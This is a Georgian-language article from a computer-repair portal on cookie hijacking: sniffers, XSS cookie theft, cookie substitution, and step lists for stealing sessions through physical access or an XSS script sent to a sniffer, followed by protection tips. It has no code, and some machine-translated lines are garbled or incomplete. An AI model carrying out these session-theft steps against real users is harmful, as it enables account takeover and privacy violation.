    ქუქიების გატეხვაარის ვებ რესურსის ვიზიტორთა სესიის ქურდობა (ან „გატაცება“). პირადი ინფორმაცია ხელმისაწვდომი ხდება არა მხოლოდ გამგზავნისთვის და მიმღებისთვის, არამედ მესამე მხარისთვისაც - ვინც ახორციელებდა თვალყურს.

    ქუქიების ჰაკერის ინსტრუმენტები და ტექნიკა

    კომპიუტერულ ქურდებს, ისევე როგორც მათ რეალურ ცხოვრებაში კოლეგებს, გარდა უნარების, ოსტატობისა და ცოდნის გარდა, რა თქმა უნდა, აქვთ საკუთარი ხელსაწყოები - სამაგისტრო გასაღებების და ზონდების ერთგვარი არსენალი. მოდით გადავხედოთ ყველაზე პოპულარულ ხრიკებს, რომლებსაც ჰაკერები იყენებენ ინტერნეტის მომხმარებლებისგან ქუქიების ამოსაღებად.

    სნიფერები

    სპეციალური პროგრამებითვალთვალის და ანალიზისთვის ქსელის ტრაფიკი. მათი სახელი მომდინარეობს ინგლისური ზმნიდან "sniff" (sniff), რადგან. კვანძებს შორის გადაცემული პაკეტების ფაქტიურად „ამოისუნთქეთ“.

    მაგრამ თავდამსხმელები იყენებენ სნაიფერს სესიის მონაცემების, შეტყობინებების და სხვათა დასაჭერად კონფიდენციალური ინფორმაცია. მათი თავდასხმების სამიზნეები ძირითადად დაუცველი ქსელებია, სადაც ქუქი-ფაილები იგზავნება ღია HTTP სესიაზე, ანუ ისინი პრაქტიკულად არ არის დაშიფრული. (საჯარო Wi-Fi ამ მხრივ ყველაზე დაუცველია.)

    მომხმარებლის კვანძსა და ვებ სერვერს შორის სნიფერის ინტერნეტ არხში ჩასართავად გამოიყენება შემდეგი მეთოდები:

    • ქსელური ინტერფეისების „მოსმენა“ (ჰაბები, სვიჩები);
    • ტრაფიკის განშტოება და კოპირება;
    • ქსელის არხის უფსკრულის დაკავშირება;
    • ანალიზი სპეციალური თავდასხმების საშუალებით, რომლებიც გადამისამართებენ მსხვერპლის ტრაფიკს სნიფერზე (MAC-გაყალბება, IP-გაყალბება).

    აბრევიატურა XSS ნიშნავს Cross Site Scripting-ს. გამოიყენება ვებგვერდებზე თავდასხმისთვის მომხმარებლის მონაცემების მოსაპარად.

    XSS-ის პრინციპი ასეთია:

    • თავდამსხმელი ათავსებს მავნე კოდს (სპეციალური შენიღბული სკრიპტი) ვებსაიტის ვებგვერდზე, ფორუმში ან შეტყობინებაში (მაგალითად, სოციალურ ქსელში შესაბამისობისას);
    • მსხვერპლი გადადის ინფიცირებულ გვერდზე და ააქტიურებს დაინსტალირებულ კოდს თავის კომპიუტერში (აწკაპუნებს, მიჰყვება ბმულს და ა.შ.);
    • თავის მხრივ, შესრულებული მავნე კოდი „ამოიღებს“ მომხმარებლის კონფიდენციალურ მონაცემებს ბრაუზერიდან (კერძოდ, ქუქი-ფაილები) და აგზავნის მას თავდამსხმელის ვებ სერვერზე.

    პროგრამული XSS მექანიზმის „დანერგვის“ მიზნით, ჰაკერები იყენებენ ყველა სახის დაუცველობას ვებ სერვერებში, ონლაინ სერვისებსა და ბრაუზერებში.

    ყველა XSS დაუცველობა იყოფა ორ ტიპად:

    • პასიური.შეტევა მიიღება ვებ გვერდზე კონკრეტული სკრიპტის მოთხოვნით. მავნე კოდიშეიძლება შევიდეს სხვადასხვა ფორმით ვებ გვერდზე (მაგალითად, საიტის საძიებო ზოლში). პასიური XSS-ის მიმართ ყველაზე მგრძნობიარეა რესურსები, რომლებიც არ ფილტრავენ HTML ტეგებს, როდესაც მონაცემები მოდის;
    • აქტიური.მდებარეობს პირდაპირ სერვერზე. და ისინი გააქტიურებულია მსხვერპლის ბრაუზერში. მათ აქტიურად იყენებენ თაღლითები ყველა სახის ბლოგში, ჩატში და ახალი ამბების არხებში.

    ჰაკერები გულდასმით „იფარებენ“ თავიანთ XSS სკრიპტებს, რათა მსხვერპლს ეჭვი არ შეეპაროს. ისინი ცვლიან ფაილის გაფართოებას, გადასცემენ კოდს სურათად, აძლევენ მოტივაციას, მიჰყვნენ ბმულს და იზიდავენ მათ საინტერესო შინაარსით. შედეგად: კომპიუტერის მომხმარებელი, რომელიც ვერ აკონტროლებს საკუთარ ცნობისმოყვარეობას, საკუთარი ხელით (მაუსის დაწკაპუნებით) უგზავნის სესიის ქუქიებს (ლოგინით და პაროლით!) XSS სკრიპტის ავტორს - კომპიუტერის ბოროტმოქმედს.

    ქუქიის ჩანაცვლება

    ყველა ქუქი-ფაილი ინახება და იგზავნება ვებ სერვერზე (საიდანაც ისინი „მოვიდნენ“) ყოველგვარი ცვლილების გარეშე - თავდაპირველი სახით - იგივე მნიშვნელობებით, სტრიქონებით და სხვა მონაცემებით. მათი პარამეტრების მიზანმიმართულ ცვლილებას ქუქიების ჩანაცვლება ეწოდება. სხვა სიტყვებით რომ ვთქვათ, ქუქი-ფაილების შეცვლისას, თავდამსხმელი თავს იჩენს, როგორც სურნელოვანს. მაგალითად, ონლაინ მაღაზიაში გადახდისას, ქუქი-ფაილი ცვლის გადახდის თანხას ქვევით - ამრიგად, ხდება შესყიდვების „დაზოგვა“.

    მოპარული სოციალური ქსელის სესიის ქუქიები სხვისი ანგარიშიდან „ჩასმულია“ სხვა სესიაში და სხვა კომპიუტერში. მოპარული ქუქიების მფლობელი იღებს სრულ წვდომას მსხვერპლის ანგარიშზე (კორესპონდენცია, შინაარსი, გვერდის პარამეტრები), სანამ ის იმყოფება მის გვერდზე.

    ქუქიების „რედაქტირება“ ხორციელდება:

    მონაცემების ფიზიკური წვდომა

    ძალიან მარტივი წრეგანხორციელება შედგება რამდენიმე ეტაპისგან. მაგრამ ეს ეფექტურია მხოლოდ იმ შემთხვევაში, თუ დაზარალებულის კომპიუტერი ღია სესიით, მაგალითად VKontakte, რჩება უყურადღებოდ (და დიდი ხნის განმავლობაში!):

  • შეიყვანეთ ბრაუზერის მისამართის ზოლში Javascript ფუნქცია, აჩვენებს ყველა შენახულ ქუქი ფაილს.
  • „ENTER“-ზე დაჭერის შემდეგ ისინი ყველა გამოჩნდება გვერდზე.
  • ქუქი-ფაილები კოპირდება, ინახება ფაილში და შემდეგ გადადის ფლეშ დრაივში.
  • სხვა კომპიუტერზე ქუქიების ჩანაცვლება ხდება ახალ სესიაში.
  • დაზარალებულის ანგარიშზე წვდომა ნებადართულია.
  • როგორც წესი, ჰაკერები იყენებენ ზემოხსენებულ ინსტრუმენტებს (+ სხვებს) როგორც კომბინაციაში (რადგან ბევრ ვებ რესურსზე დაცვის დონე საკმაოდ მაღალია), ასევე ცალ-ცალკე (როცა მომხმარებლები ზედმეტად გულუბრყვილოები არიან).

    XSS + სნაიფერი
  • იქმნება XSS სკრიპტი, რომელიც განსაზღვრავს ონლაინ სნაიფერის მისამართს (სახლში დამზადებული ან კონკრეტული სერვისი).
  • მავნე კოდი ინახება გაფართოებით .img (სურათის ფორმატი).
  • შემდეგ ეს ფაილი აიტვირთება ვებსაიტის გვერდზე, ჩატში ან პირად შეტყობინებაში - სადაც განხორციელდება თავდასხმა.
  • მომხმარებლის ყურადღებას იქცევს შექმნილი „ხაფანგი“ (აქედან ძალაში შედის სოციალური ინჟინერია).
  • თუ ხაფანგი ამოქმედდა, ქუქი-ფაილები მსხვერპლის ბრაუზერიდან იჭრება სნიფერის მიერ.
  • თავდამსხმელი ხსნის სნიფერის ჟურნალებს და იბრუნებს მოპარულ ქუქი-ფაილებს.
  • შემდეგი, ის ასრულებს ჩანაცვლებას, რათა მოიპოვოს ანგარიშის მფლობელის უფლებები ზემოაღნიშნული ხელსაწყოების გამოყენებით.
  • ქუქიების დაცვა ჰაკერებისგან
  • გამოიყენეთ დაშიფრული კავშირი (შესაბამისი პროტოკოლებისა და უსაფრთხოების მეთოდების გამოყენებით).
  • არ უპასუხოთ საეჭვო ბმულებს, სურათებს ან მაცდურ შეთავაზებებს „ახალი უფასო პროგრამული უზრუნველყოფის“ გაცნობისთვის. განსაკუთრებით უცხო ადამიანებისგან.
  • გამოიყენეთ მხოლოდ სანდო ვებ რესურსები.
  • დაასრულეთ ავტორიზებული სესია ღილაკზე „გამოსვლა“ (არა მხოლოდ ჩანართის დახურვით!) დაწკაპუნებით. მით უმეტეს, თუ თქვენ შეხვედით თქვენს ანგარიშში არა პერსონალური კომპიუტერიდან, არამედ, მაგალითად, კომპიუტერიდან ინტერნეტ კაფეში.
  • არ გამოიყენოთ ბრაუზერის ფუნქცია "პაროლის შენახვა". შენახული სარეგისტრაციო მონაცემები მნიშვნელოვნად ზრდის ქურდობის რისკს. არ დაიზაროთ, ნუ დაკარგავთ რამდენიმე წუთს თქვენი პაროლის შეყვანაში და ყოველი სესიის დასაწყისში შედით სისტემაში.
  • ვებ სერფინგის შემდეგ - ეწვიეთ სოციალურ ქსელებს, ფორუმებს, ჩატებს, ვებსაიტებს - წაშალეთ შენახული ქუქიები და გაასუფთავეთ ბრაუზერის ქეში.
  • რეგულარულად განაახლეთ ბრაუზერები და ანტივირუსული პროგრამები.
  • გამოიყენეთ ბრაუზერის გაფართოებები, რომლებიც იცავს XSS შეტევებისგან (მაგალითად, NoScript FF-ისთვის და Google Chrome-ისთვის).
  • პერიოდულად ანგარიშებზე.
  • და რაც მთავარია, არ დაკარგოთ სიფხიზლე და ყურადღება დასვენების ან ინტერნეტში მუშაობისას!

    © 2024 ermake.ru -- კომპიუტერის შეკეთების შესახებ - საინფორმაციო პორტალი